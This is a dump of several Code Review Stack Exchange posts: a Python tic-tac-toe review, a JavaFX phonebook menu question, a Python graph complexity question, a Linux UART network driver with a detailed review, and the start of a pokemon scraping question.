"body": "<p>I had a quick run through, those are just some of my notes</p>\n<ol>\n<li>I’d suggest following commonly agreed formatting, I.e. I don’t know if IDE can format arrays the way you have and it may get difficult to maintain.</li>\n<li>It would be nice to have all class properties defined at the top of the class with a type hint next to each one.</li>\n<li><code>print_board_coordinates</code> and a board within <code>print_board</code> are duplicated, you can extract it out into a PrintBoard class and re-use</li>\n<li>Within <code>mark_board, you might be able to get way with just </code>position not in self.avaliable_positions<code>within</code>elif`</li>\n<li>You can add a class for <code>Marker</code> which will figure out for itself if market is allowed or not and then other classes don’t have to care about it.</li>\n<li>Some of the main code can also be extracted out into a Builder class, that handles setup of the game, and will make testing easier for you</li>\n<li>Not sure why player needs to know about available positions? I personally would have thought that <code>owned_possitions</code> would be sufficient.</li>\n<li>Given the number of lines, it would be nice to have draw.io diagram that outlines the flow of data in your application. Given the task, I think, communication should be layered with the game class being the mediator.</li>\n<li>I'd suggest typehinting everything it make it easier for reviewers, such as myself, to understand the subject quicker. Otherwise I have to scroll around and that takes energy.</li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T07:39:07.367",
"Id": "263744",
"ParentId": "263663",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "263744",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T12:22:22.293",
"Id": "263663",
"Score": "2",
"Tags": [
"python",
"beginner",
"object-oriented",
"game",
"console"
],
"Title": "Terminal python tic-tac-toe game"
}
|
263663
|
<p>I designed a phonebook application using JavaFX (trying to follow Material Design by Google, as you can see in the screenshot).<br />
The code below is the code that handles the <code>ButtonBar</code> next to the search bar, but I'm new to JavaFX and I want to know if this is really poorly written and organized.</p>
<pre><code>package gui;
import data.Contact;
import data.Database;
import javafx.beans.property.SimpleObjectProperty;
import javafx.collections.ObservableList;
import javafx.scene.control.MenuButton;
import javafx.scene.control.RadioMenuItem;
import javafx.scene.control.SeparatorMenuItem;
import javafx.scene.control.ToggleGroup;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.layout.AnchorPane;
import model.ContactListOrderManager;
import model.ListOrder;
import java.io.FileInputStream;
import java.io.IOException;
public class ListButtonsController {
private final SimpleObjectProperty<MenuButton> orderButton;
private final SimpleObjectProperty<MenuButton> filterButton;
private final SimpleObjectProperty<OrderButtonController> orderButtonController;
private final SimpleObjectProperty<ObservableList<Contact>> contactList;
public ListButtonsController(MenuButton orderButton, MenuButton filterButton,
ObservableList<Contact> contactList) {
this.orderButton = new SimpleObjectProperty<>(orderButton);
this.filterButton = new SimpleObjectProperty<>(filterButton);
var orderButtonControl = new OrderButtonController(this);
this.orderButtonController = new SimpleObjectProperty<>(orderButtonControl);
this.contactList = new SimpleObjectProperty<>(contactList);
}
protected MenuButton getOrderButton() {
return orderButton.get();
}
protected MenuButton getFilterButton() {
return filterButton.get();
}
private OrderButtonController getOrderButtonController() {
return orderButtonController.get();
}
public ObservableList<Contact> getContactList() {
return contactList.get();
}
public void listButtonsSetup() throws IOException {
getOrderButtonController().orderButtonSetup();
setButtonsStyle();
setButtonsIcons();
AnchorPane.setLeftAnchor(getOrderButton(), 290d);
AnchorPane.setTopAnchor(getOrderButton(), 1.5);
AnchorPane.setLeftAnchor(getFilterButton(), 240d);
AnchorPane.setTopAnchor(getFilterButton(), 1.5);
}
private void setButtonsIcons() throws IOException {
try (var filterInput = new FileInputStream("icons/filter_black_24dp.png");
var orderInput = new FileInputStream("icons/sort_black_24dp.png")) {
getOrderButton().setGraphic(new ImageView(new Image(orderInput)));
getFilterButton().setGraphic(new ImageView(new Image(filterInput)));
}
}
private void setButtonsStyle() {
getOrderButton().getStylesheets().add("file:stylesheets/menu-button.css");
getOrderButton().getStyleClass().add("menu-button");
getFilterButton().getStylesheets().add("file:stylesheets/menu-button.css");
getFilterButton().getStyleClass().add("menu-button");
}
}
class OrderButtonController {
private final ListButtonsController generalController;
private final MenuButton orderButton;
protected OrderButtonController(ListButtonsController controller) {
this.generalController = controller;
this.orderButton = generalController.getOrderButton();
}
protected void orderButtonSetup() {
var ordinatorGroup = new ToggleGroup();
var alphabeticalOrderItem = new RadioMenuItem("Alphabetically");
alphabeticalOrderItem.setSelected(true);
ordinatorGroup.getToggles().add(alphabeticalOrderItem);
var separator = new SeparatorMenuItem();
var orderGroup = new ToggleGroup();
var ascendingRadioItem = new RadioMenuItem("Ascending");
ascendingRadioItem.setSelected(true);
var descendingRadioItem = new RadioMenuItem("Descending");
orderGroup.getToggles().addAll(ascendingRadioItem, descendingRadioItem);
descendingRadioItem.setOnAction(actionEvent ->
ContactListOrderManager.sortList(generalController.getContactList(),
ListOrder.getOrdering((RadioMenuItem) orderGroup.getSelectedToggle()),
descendingRadioItem.isSelected()));
ascendingRadioItem.setOnAction(actionEvent ->
ContactListOrderManager.sortList(generalController.getContactList(),
ListOrder.getOrdering((RadioMenuItem) orderGroup.getSelectedToggle()),
descendingRadioItem.isSelected()));
alphabeticalOrderItem.setOnAction(actionEvent ->
ContactListOrderManager.sortList(generalController.getContactList(),
ListOrder.ALPHABETIC, descendingRadioItem.isSelected()));
setMenusStyle(alphabeticalOrderItem, ascendingRadioItem, descendingRadioItem);
orderButton.getItems().addAll(alphabeticalOrderItem, separator, ascendingRadioItem, descendingRadioItem);
}
private void setMenusStyle(RadioMenuItem... menus) {
for (RadioMenuItem menu : menus) {
menu.getStyleClass().add("order-menu");
}
}
}
</code></pre>
<p><a href="https://i.stack.imgur.com/v41SV.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/v41SV.png" alt="Result" /></a></p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T13:38:01.873",
"Id": "263666",
"Score": "2",
"Tags": [
"java",
"gui",
"javafx"
],
"Title": "Designing a phonebook menu bar, filter and sorting order buttons included"
}
|
263666
|
<p>I created some code to represent a graph. There are two functions to operate on the graph. The first which uses a list of nodes, determines if there is a key in a graph. The second which uses an adjacency matrix finds the weight of the graph given two keys. As an optimization, the first function swaps closer to the start of the list once found. Also, the second function does something similar, but operates on a 2d list.</p>
<p>My question is what is the amortized time and amortized space for the two functions.</p>
<p>Below is the code</p>
<pre class="lang-py prettyprint-override"><code>from dataclasses import dataclass
from typing import List
from typing import Any
@dataclass
class Node:
row: int
value: Any
@dataclass
class Cell:
from_row: int
to_row: int
weight: int
has_edge: bool
def find_weight(rows: int, cols: int, from_key: int, to_key: int, matrix: List[List[Cell]]) -> int:
#amortized time: ?
#amortized space: ?
weight = 0
found = False
row = 0
col = 0
while not found and row < rows:
while not found and col < cols:
if matrix[row][col].from_row == from_key and matrix[row][col].to_row == to_key:
weight = matrix[row][col].weight
found = True
break
col = col + 1
row = row + 1
#the app increment incrased one more time once found became False
row = row - 1
col = col - 1
#the app move found cell closer to start of loops for next time find weight is called
if row > 0 and col > 0:
matrix[row][col], matrix[row - 1][col - 1] = matrix[row - 1][col -1], matrix[row][col]
elif row > 0:
matrix[row][col], matrix[row - 1][col] = matrix[row - 1][col], matrix[row][col]
elif col > 0:
matrix[row][col], matrix[row][col - 1] = matrix[row][col -1], matrix[row][col]
return weight
def test_find_weight():
assert find_weight(1, 1, 0, 0, [[Cell(0, 0, 1, True)]]) == 1
assert find_weight(1, 1, 1, 0, [[Cell(0, 0, 0, False)]]) == 0
assert find_weight(0, 0, 1, 1, [[]]) == 0
def has_key(rows: int, row: int, nodes: List[Node]) -> bool:
#amortized time: ?
#amortized space: ?
has = False
found_row = 0
for node in nodes:
if node.row == row:
has = True
found_row = row
break
#the app moved node closer to start of loop for next time has key is called
if has and found_row > 0:
nodes[found_row], nodes[found_row - 1] = nodes[found_row - 1], nodes[found_row]
return has
def test_has_key():
assert has_key(2, 1, [Node(0, "a"), Node(1, "b")]) == True
assert has_key(2, 2, [Node(0, "a"), Node(1, "b")]) == False
assert has_key(2, 1, [Node(1, "b"), Node(0, "a")]) == True
def tests():
test_has_key()
test_find_weight()
print("Tests done")
if __name__ == "__main__":
tests()
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T07:57:09.223",
"Id": "520625",
"Score": "0",
"body": "Are you looking for suggestions on how to improve the code? If you are strictly asking about analyzing the time and space complexity of the code, then it's [not really an appropriate question for Code Review](https://codereview.meta.stackexchange.com/q/8373)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T13:01:28.547",
"Id": "520640",
"Score": "0",
"body": "Both actually. First, I am looking for a way to analyze performance (I am unsure how to do this step). Second, I am looking for ways to improve maintainability."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T14:12:57.967",
"Id": "263668",
"Score": "0",
"Tags": [
"performance",
"python-3.x"
],
"Title": "Graph Theory Amortized Analysis"
}
|
263668
|
<p>I wrote a network driver and I would like a review of my code. The code generally works, albeit with some performance issues. The purpose of my code is to have a Network driver that uses the USART and then the pin is there to enable the enable on the hardware so it starts to send and when is is not sending it needs to be dissabled.</p>
<h1>Header file</h1>
<pre><code>#include <linux/if_ether.h>
#include <linux/if_vlan.h>
#include <linux/types.h>
#include <linux/serdev.h>
#include <linux/gpio/consumer.h>
#define STMUART_DRV_VERSION "0.1.0"
#define STMUART_DRV_NAME "stmNetUart"
#define STMUART_TX_TIMEOUT (1 * HZ)
/* Frame is currently being received */
#define STMFRM_GATHER 0
/* No header byte while expecting it */
#define STMFRM_NOHEAD (STMFRM_ERR_BASE - 1)
/* Min/Max Ethernet MTU: 46/1500 */
#define STMFRM_MIN_MTU (ETH_ZLEN - ETH_HLEN)
#define STMFRM_MAX_MTU ETH_DATA_LEN
/* Min/Max frame lengths */
#define STMFRM_MIN_LEN (STMFRM_MIN_MTU + ETH_HLEN)
#define STMFRM_MAX_LEN (STMFRM_MAX_MTU + VLAN_ETH_HLEN)
/* QCA7K header len */
#define STMFRM_HEADER_LEN 8
/* QCA7K Framing. */
#define STMFRM_ERR_BASE -1000
enum stmfrm_state {
/* Waiting first 0xAA of header */
STMFRM_WAIT_AA1 = 0x8000,
/* Waiting second 0xAA of header */
STMFRM_WAIT_AA2 = STMFRM_WAIT_AA1 - 1,
/* Waiting third 0xAA of header */
STMFRM_WAIT_AA3 = STMFRM_WAIT_AA2 - 1,
/* Waiting fourth 0xAA of header */
STMFRM_WAIT_AA4 = STMFRM_WAIT_AA3 - 1,
/* Waiting fourth 0xAA of header */
STMFRM_WAIT_AA5 = STMFRM_WAIT_AA4 - 1,
/* Waiting fourth 0xAA of header */
STMFRM_WAIT_AA6 = STMFRM_WAIT_AA5 - 1,
/* Waiting fourth 0xAA of header */
STMFRM_WAIT_AA7 = STMFRM_WAIT_AA6 - 1,
/* Waiting fourth 0xAA of header */
STMFRM_WAIT_AB8 = STMFRM_WAIT_AA7 - 1,
};
/* Structure to maintain the frame decoding during reception. */
struct stmfrm_handle {
/* Current decoding state */
enum stmfrm_state state;
/* Initial state depends on connection type */
enum stmfrm_state init;
/* Offset in buffer*/
u16 offset;
/* Frame length as kept by this module */
u16 len;
};
u16 stmfrm_create_header(u8 *buf);
static inline void qcafrm_fsm_init_uart(struct stmfrm_handle *handle)
{
handle->init = STMFRM_WAIT_AA1;
handle->state = handle->init;
}
/* Gather received bytes and try to extract a full Ethernet frame
* by following a simple state machine.
*
* Return: QCAFRM_GATHER No Ethernet frame fully received yet.
* QCAFRM_NOHEAD Header expected but not found.
*/
s32 stmfrm_fsm_decode(struct stmfrm_handle *handle, u8 *buf, u16 buf_len, u8 recv_byte);
struct stmuart {
struct net_device *net_dev;
struct gpio_desc *rts_gpio;
spinlock_t lock; /* transmit lock */
struct work_struct tx_work; /* Flushes transmit buffer */
struct serdev_device *serdev;
struct stmfrm_handle frm_handle;
struct sk_buff *rx_skb;
unsigned char *tx_head; /* pointer to next XMIT byte */
int tx_left; /* bytes left in XMIT queue */
unsigned char *tx_buffer;
};
</code></pre>
<h1>Implementation file</h1>
<pre><code>#include <linux/device.h>
#include <linux/errno.h>
#include <linux/etherdevice.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/jiffies.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/netdevice.h>
#include <linux/of.h>
#include <linux/of_device.h>
#include <linux/of_net.h>
#include <linux/sched.h>
#include <linux/serdev.h>
#include <linux/skbuff.h>
#include <linux/types.h>
#include <linux/serial.h>
#include <linux/tty.h>
#include <linux/tty_driver.h>
#include <linux/poll.h>
#include "serdevNetwork.h"
u16
stmfrm_create_header(u8 *buf)
{
if (!buf)
return 0;
buf[0] = 0xAA;
buf[1] = 0xAA;
buf[2] = 0xAA;
buf[3] = 0xAA;
buf[4] = 0xAA;
buf[5] = 0xAA;
buf[6] = 0xAA;
buf[7] = 0xAB;
return STMFRM_HEADER_LEN;
}
s32
stmfrm_fsm_decode(struct stmfrm_handle *handle, u8 *buf, u16 buf_len, u8 recv_byte)
{
s32 ret = STMFRM_GATHER;
switch (handle->state) {
/* 4 bytes header pattern */
case STMFRM_WAIT_AA1:
case STMFRM_WAIT_AA2:
case STMFRM_WAIT_AA3:
case STMFRM_WAIT_AA4:
case STMFRM_WAIT_AA5:
case STMFRM_WAIT_AA6:
case STMFRM_WAIT_AA7:
if (recv_byte != 0xAA) {
ret = STMFRM_NOHEAD;
handle->state = handle->init;
} else {
handle->state--;
}
break;
case STMFRM_WAIT_AB8:
if (recv_byte != 0xAB) {
ret = STMFRM_NOHEAD;
handle->state = handle->init;
} else {
handle->offset = 0;
handle->state--;
}
break;
default:
/* Receiving Ethernet frame itself. */
buf[handle->offset] = recv_byte;
handle->offset++;
break;
}
return ret;
}
static int
stm_tty_receive(struct serdev_device *serdev, const unsigned char *data,
size_t count)
{
struct stmuart *stm = serdev_device_get_drvdata(serdev);
struct net_device *netdev = stm->net_dev;
struct net_device_stats *n_stats = &netdev->stats;
struct stmfrm_handle *frame_handle = &stm->frm_handle;
size_t i, c;
if (!stm->rx_skb) {
stm->rx_skb = netdev_alloc_skb_ip_align(netdev,
netdev->mtu +
VLAN_ETH_HLEN);
if (!stm->rx_skb) {
n_stats->rx_errors++;
n_stats->rx_dropped++;
return 0;
}
}
if(count > (netdev->mtu + VLAN_ETH_HLEN)){
c = (netdev->mtu + VLAN_ETH_HLEN);
}else{
c = count;
}
for (i = 0; i < c; i++) {
s32 retcode;
retcode = stmfrm_fsm_decode(frame_handle,
stm->rx_skb->data,
skb_tailroom(stm->rx_skb),
data[i]);
switch (retcode) {
case STMFRM_GATHER:
case STMFRM_NOHEAD:
break;
}
}
frame_handle->state = frame_handle->init;
n_stats->rx_packets++;
n_stats->rx_bytes += frame_handle->offset;
skb_put(stm->rx_skb, frame_handle->offset);
stm->rx_skb->protocol = eth_type_trans(
stm->rx_skb, stm->rx_skb->dev);
stm->rx_skb->ip_summed = CHECKSUM_NONE;
netif_rx_ni(stm->rx_skb);
stm->rx_skb = netdev_alloc_skb_ip_align(netdev,
netdev->mtu +
VLAN_ETH_HLEN);
if (!stm->rx_skb) {
netdev_dbg(netdev, "recv: out of RX resources\n");
n_stats->rx_errors++;
return i;
}
return i;
}
/* Write out any remaining transmit buffer. Scheduled when tty is writable */
static void stmuart_transmit(struct work_struct *work)
{
struct stmuart *stm = container_of(work, struct stmuart, tx_work);
struct net_device_stats *n_stats = &stm->net_dev->stats;
int written;
spin_lock_bh(&stm->lock);
/* First make sure we're connected. */
if (!netif_running(stm->net_dev)) {
spin_unlock_bh(&stm->lock);
return;
}
if (stm->tx_left <= 0) {
/* Now serial buffer is almost free & we can start
* transmission of another packet
*/
n_stats->tx_packets++;
spin_unlock_bh(&stm->lock);
netif_wake_queue(stm->net_dev);
return;
}
written = serdev_device_write_buf(stm->serdev, stm->tx_head,
stm->tx_left);
if (written > 0) {
stm->tx_left -= written;
stm->tx_head += written;
}
spin_unlock_bh(&stm->lock);
}
/* Called by the driver when there's room for more data.
* Schedule the transmit.
*/
static void stm_tty_wakeup(struct serdev_device *serdev)
{
struct stmuart *stm = serdev_device_get_drvdata(serdev);
schedule_work(&stm->tx_work);
}
static const struct serdev_device_ops stm_serdev_ops = {
.receive_buf = stm_tty_receive,
.write_wakeup = stm_tty_wakeup,
};
static int stmuart_netdev_open(struct net_device *dev)
{
struct stmuart *stm = netdev_priv(dev);
netif_start_queue(stm->net_dev);
return 0;
}
static int stmuart_netdev_close(struct net_device *dev)
{
struct stmuart *stm = netdev_priv(dev);
netif_stop_queue(dev);
flush_work(&stm->tx_work);
spin_lock_bh(&stm->lock);
stm->tx_left = 0;
spin_unlock_bh(&stm->lock);
return 0;
}
static netdev_tx_t
stmuart_netdev_xmit(struct sk_buff *skb, struct net_device *dev)
{
struct net_device_stats *n_stats = &dev->stats;
struct stmuart *stm = netdev_priv(dev);
u8 pad_len = 0;
int written;
u8 *pos;
spin_lock(&stm->lock);
gpiod_set_value(stm->rts_gpio, 1);
//serdev_device_wait_for_cts(stm->serdev, true, 10);
WARN_ON(stm->tx_left);
if (!netif_running(dev)) {
spin_unlock(&stm->lock);
netdev_warn(stm->net_dev, "xmit: iface is down\n");
goto out;
}
pos = stm->tx_buffer;
if (skb->len < STMFRM_MIN_LEN)
pad_len = STMFRM_MIN_LEN - skb->len;
pos += stmfrm_create_header(pos);
memcpy(pos, skb->data, skb->len);
pos += skb->len;
if (pad_len) {
memset(pos, 0, pad_len);
pos += pad_len;
}
netif_stop_queue(stm->net_dev);
written = serdev_device_write_buf(stm->serdev, stm->tx_buffer,
pos - stm->tx_buffer);
if (written > 0) {
stm->tx_left = (pos - stm->tx_buffer) - written;
stm->tx_head = stm->tx_buffer + written;
n_stats->tx_bytes += written;
}
out:
spin_unlock(&stm->lock);
gpiod_set_value(stm->rts_gpio, 0);
//serdev_device_wait_for_cts(stm->serdev, false, 10);
netif_trans_update(dev);
dev_kfree_skb_any(skb);
return NETDEV_TX_OK;
}
static void stmuart_netdev_tx_timeout(struct net_device *dev, unsigned int txqueue)
{
struct stmuart *stm = netdev_priv(dev);
netdev_info(stm->net_dev, "Transmit timeout at %ld, latency %ld\n",
jiffies, dev_trans_start(dev));
dev->stats.tx_errors++;
dev->stats.tx_dropped++;
}
static int stmuart_netdev_init(struct net_device *dev)
{
struct stmuart *stm = netdev_priv(dev);
size_t len;
/* Finish setting up the device info. */
dev->mtu = STMFRM_MAX_MTU;
dev->type = ARPHRD_ETHER;
len = STMFRM_HEADER_LEN + STMFRM_MAX_LEN;// + STMFRM_FOOTER_LEN;
stm->tx_buffer = devm_kmalloc(&stm->serdev->dev, len, GFP_KERNEL);
if (!stm->tx_buffer)
return -ENOMEM;
stm->rx_skb = netdev_alloc_skb_ip_align(stm->net_dev,
stm->net_dev->mtu +
VLAN_ETH_HLEN);
if (!stm->rx_skb)
return -ENOBUFS;
return 0;
}
static void stmuart_netdev_uninit(struct net_device *dev)
{
struct stmuart *stm = netdev_priv(dev);
dev_kfree_skb(stm->rx_skb);
}
static const struct net_device_ops stmuart_netdev_ops = {
.ndo_init = stmuart_netdev_init,
.ndo_uninit = stmuart_netdev_uninit,
.ndo_open = stmuart_netdev_open,
.ndo_stop = stmuart_netdev_close,
.ndo_start_xmit = stmuart_netdev_xmit,
.ndo_set_mac_address = eth_mac_addr,
.ndo_tx_timeout = stmuart_netdev_tx_timeout,
.ndo_validate_addr = eth_validate_addr,
};
static void stmuart_netdev_setup(struct net_device *dev)
{
dev->netdev_ops = &stmuart_netdev_ops;
dev->watchdog_timeo = STMUART_TX_TIMEOUT;
dev->priv_flags &= ~IFF_TX_SKB_SHARING;
dev->tx_queue_len = 100;
/* MTU range: 46 - 1500 */
dev->min_mtu = STMFRM_MIN_MTU;
dev->max_mtu = STMFRM_MAX_MTU;
}
static const struct of_device_id stm32_match[] = {
{
.compatible = "st,stm32_usart_net",
},
{}
};
MODULE_DEVICE_TABLE(of, stm32_match);
static int stm_uart_probe(struct serdev_device *serdev)
{
struct net_device *stmuart_dev = alloc_etherdev(sizeof(struct stmuart));
struct stmuart *stm;
const char *mac;
//u32 speed = 10000000u;
u32 speed = 3000000u;
int ret;
if (!stmuart_dev)
return -ENOMEM;
stmuart_netdev_setup(stmuart_dev);
SET_NETDEV_DEV(stmuart_dev, &serdev->dev);
stm = netdev_priv(stmuart_dev);
if (!stm) {
pr_err("qca_uart: Fail to retrieve private structure\n");
ret = -ENOMEM;
goto free;
}
stm->net_dev = stmuart_dev;
stm->serdev = serdev;
qcafrm_fsm_init_uart(&stm->frm_handle);
spin_lock_init(&stm->lock);
INIT_WORK(&stm->tx_work, stmuart_transmit);
mac = of_get_mac_address(serdev->dev.of_node);
if (!IS_ERR(mac))
ether_addr_copy(stm->net_dev->dev_addr, mac);
//if (!is_valid_ether_addr(stm->net_dev->dev_addr)) {
eth_hw_addr_random(stm->net_dev);
dev_info(&serdev->dev, "Using random MAC address: %pM\n",
stm->net_dev->dev_addr);
//}
netif_carrier_on(stm->net_dev);
serdev_device_set_drvdata(serdev, stm);
serdev_device_set_client_ops(serdev, &stm_serdev_ops);
ret = serdev_device_open(serdev);
if (ret) {
dev_err(&serdev->dev, "Unable to open device %s\n",
stmuart_dev->name);
goto free;
}
speed = serdev_device_set_baudrate(serdev, speed);
dev_info(&serdev->dev, "Using baudrate: %u\n", speed);
serdev_device_set_flow_control(serdev, false);
stm->rts_gpio = devm_gpiod_get(&serdev->dev, "rts", GPIOD_OUT_HIGH);
gpiod_set_value(stm->rts_gpio, 0);
if(IS_ERR(stm->rts_gpio)){
dev_err(&serdev->dev, "Unable to open rts_gpio %s\n",
stmuart_dev->name);
}
ret = register_netdev(stmuart_dev);
if (ret) {
dev_err(&serdev->dev, "Unable to register net device %s\n",
stmuart_dev->name);
serdev_device_close(serdev);
cancel_work_sync(&stm->tx_work);
goto free;
}
return ret;
free:
free_netdev(stmuart_dev);
return ret;
}
static void stm_uart_remove(struct serdev_device *serdev)
{
struct stmuart *stm = serdev_device_get_drvdata(serdev);
unregister_netdev(stm->net_dev);
/* Flush any pending characters in the driver. */
serdev_device_close(serdev);
cancel_work_sync(&stm->tx_work);
free_netdev(stm->net_dev);
}
static struct serdev_device_driver stm_uart_driver = {
.probe = stm_uart_probe,
.remove = stm_uart_remove,
.driver = {
.name = STMUART_DRV_NAME,
.of_match_table = of_match_ptr(stm32_match),
},
};
module_serdev_device_driver(stm_uart_driver);
MODULE_DESCRIPTION("USART Network driver");
MODULE_AUTHOR("xxx");
MODULE_LICENSE("GPL");
MODULE_VERSION(STMUART_DRV_VERSION);
</code></pre>
<p>I hope someone could tell me what I could do better. My secend thing is my pin get not always toggled a package gets send.</p>
<p>I add it here i used a lof of stuff from the qca_uart driver <a href="http://qca_uart" rel="nofollow noreferrer">https://elixir.bootlin.com/linux/latest/source/drivers/net/ethernet/qualcomm/qca_uart.c</a></p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T16:55:52.077",
"Id": "520571",
"Score": "0",
"body": "If the pin doesn't always get toggled while it should, it's possible the code is not yet working as intended. Can you rule out faulty hardware?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T16:56:39.713",
"Id": "520572",
"Score": "0",
"body": "What pin should be toggled and why? Is that purely for debugging purposes? What's the purpose of the code?"
}
] |
[
{
"body": "<h1>Weird enum values</h1>\n<p>Why does <code>stmfrm_state</code> start at 0x8000, and then goes down? Also, if the enum names all start with <code>SMFRM_WAIT_AA</code> and only have a different number at the end, this tells me you shouldn't be using an enum here to begin with, and instead you should use an <code>unsigned int</code> counter.</p>\n<p>Indeed it looks like it's just counting how many bytes of the header pattern it has received so far.</p>\n<p>Related to this, why the arbitrarily chosen value of -1000 for <code>STMFRM_ERR_BASE</code>?</p>\n<h1>Authorship of code</h1>\n<p>Could it be you are copy&pasting code from the <a href=\"https://github.com/qca/qca7000\" rel=\"nofollow noreferrer\">QCA7000 driver</a>? That would explain the weird enum values. If so, be aware that you should include the copyright notice of the original.</p>\n<h1>Make the header a const array</h1>\n<p>Instead of having a function that writes individual bytes to a buffer and returning a constant length value, I would create a <code>const</code> array that holds the header:</p>\n<pre><code>static const u8 stmfrm_header[8] = {0xAA, 0xAA, ..., 0xAA, 0xAB};\n</code></pre>\n<p>Then instead of writing <code>pos += strfrm_create_header(pos)</code>, write:</p>\n<pre><code>memcpy(pos, stmfrm_header, sizeof stmfrm_header);\npos += sizeof stmfrm_header;\n</code></pre>\n<p>Also, if you pre-allocated the transmit buffer, you can initialize its header in <code>stmuart_netdev_init()</code> instead of doing this every time <code>stmuart_netdev_xmit()</code> is called.</p>\n<h1>Length of GPIO pin being high</h1>\n<p>In <code>stmuart_netdev_xmit()</code>, you start transmitting a packet, but if it doesn't fit inside the serial port's transmit buffer, you let <code>stmuart_transmit()</code> send the remainder. However, the GPIO pin is only held high for the duration of <code>stmuart_netdev_xmit()</code>, which might actually be arbitrarily short. Either the GPIO pin should be pulsed to signal the start of a new packet, in which case there is a minimum time that it should be held high that should be observed, or it should be held high for the whole packet, in which case you have to wait for the whole packet to be sent out.</p>\n<p>Also, once the GPIO pin goes low there is likely also a minimum time it should be held low.</p>\n<h1>Does this code really depend on an STM32?</h1>\n<p>Everything has "stm" in the name, and there's even a mention of <code>stm32</code> in the code. However, it's just sending things over a serial port and toggling a GPIO pin, that doesn't seem to me like it is something only an <a href=\"https://en.wikipedia.org/wiki/STM32\" rel=\"nofollow noreferrer\">STM32</a> chip could do. Won't the QCA7000 driver already work on an STM32? If not, maybe try to make it more generic and not depend explicitly on any one vendor's hardware.</p>\n<h1>Accessing the RTS pin</h1>\n<p>It looks like you ask the serial device subsystem for the GPIO pin associated with the RTS line, and then use <code>gpiod_*()</code> functions to toggle this pin. But you should be able to use <code>serdev_device_set_rts()</code> to toggle that pin without having to involve the GPIO subsystem yourself.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T08:22:21.437",
"Id": "520626",
"Score": "1",
"body": "Thanks for the information. Yes your right I used a lot of things from the QCA7000 driver I know I need to add the copyright notes but since I am not finished I haven’t added them but I will do it now so I will not forget. About the other suggestions I will apply them. About the code itself since I will only use it on the stm board I added the stm always in the beginning, but basically it is not needed. Bye the way thanks you for helpful review I am impressed."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T22:04:15.963",
"Id": "263688",
"ParentId": "263670",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "263688",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T15:03:25.857",
"Id": "263670",
"Score": "4",
"Tags": [
"c",
"linux",
"device-driver"
],
"Title": "Usart Network driver"
}
|
263670
|
<pre><code>if __name__ == '__main__':
url='http://pokemondb.net/pokedex/all'
#Create a handle, page, to handle the contents of the website
page = requests.get(url)
#Store the contents of the website under doc
doc = lh.fromstring(page.content)
#Parse data that are stored between <tr>..</tr> of HTML
tr_elements = doc.xpath('//tr')
# Create empty list
col = []
# For each row, store each first element (header) and an empty list
for t in tr_elements[0]:
name = t.text_content()
col.append((name, []))
# Since out first row is the header, data is stored on the second row onwards
for j in range(1, len(tr_elements)):
# T is our j'th row
T = tr_elements[j]
# If row is not of size 10, the //tr data is not from our table
if len(T) != 10:
break
# i is the index of our column
i = 0
# Iterate through each element of the row
for t in T.iterchildren():
data = t.text_content()
# Check if row is empty
if i > 0:
# Convert any numerical value to integers
try:
data = int(data)
except:
pass
# Append the data to the empty list of the i'th column
col[i][1].append(data)
# Increment i for the next column
i += 1
Dict = {title: column for (title, column) in col}
df = pd.DataFrame(Dict)
</code></pre>
<p>In the above code, I am calling an API and storing the data in tr_elements, and then by using for loop I am trying to append the headers(names of columns) and empty list to col list then I am iterating through each element of tr_elements and appending to the empty list (col list created before) after converting any numerical data to an integer type. In the end, I am creating a dictionary and then converting it to a data frame (screenshot attached). So, I want to know if I can write the above code more efficiently in a pythonic way?</p>
<p><a href="https://i.stack.imgur.com/A38fn.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/A38fn.png" alt="Screen shot of final data frame after running my code" /></a></p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T15:32:09.737",
"Id": "520565",
"Score": "0",
"body": "Welcome to Code Review! We need to know *what the code is intended to achieve*. To help reviewers give you better answers, please add sufficient context to your question, including a title that summarises the *purpose* of the code. We want to know **why** much more than **how**. The more you tell us about [what your code is for](//meta.codereview.stackexchange.com/q/1226), the easier it will be for reviewers to help you. The title needs an [edit] to simply [**state the task**](//meta.codereview.stackexchange.com/q/2436), rather than your concerns about the code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T02:48:06.960",
"Id": "520701",
"Score": "0",
"body": "Please include your imports."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T02:49:08.300",
"Id": "520702",
"Score": "0",
"body": "Why is it going to Pandas?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T02:50:08.850",
"Id": "520703",
"Score": "0",
"body": "Finally: no, you're not calling an API; you're scraping a web page."
}
] |
[
{
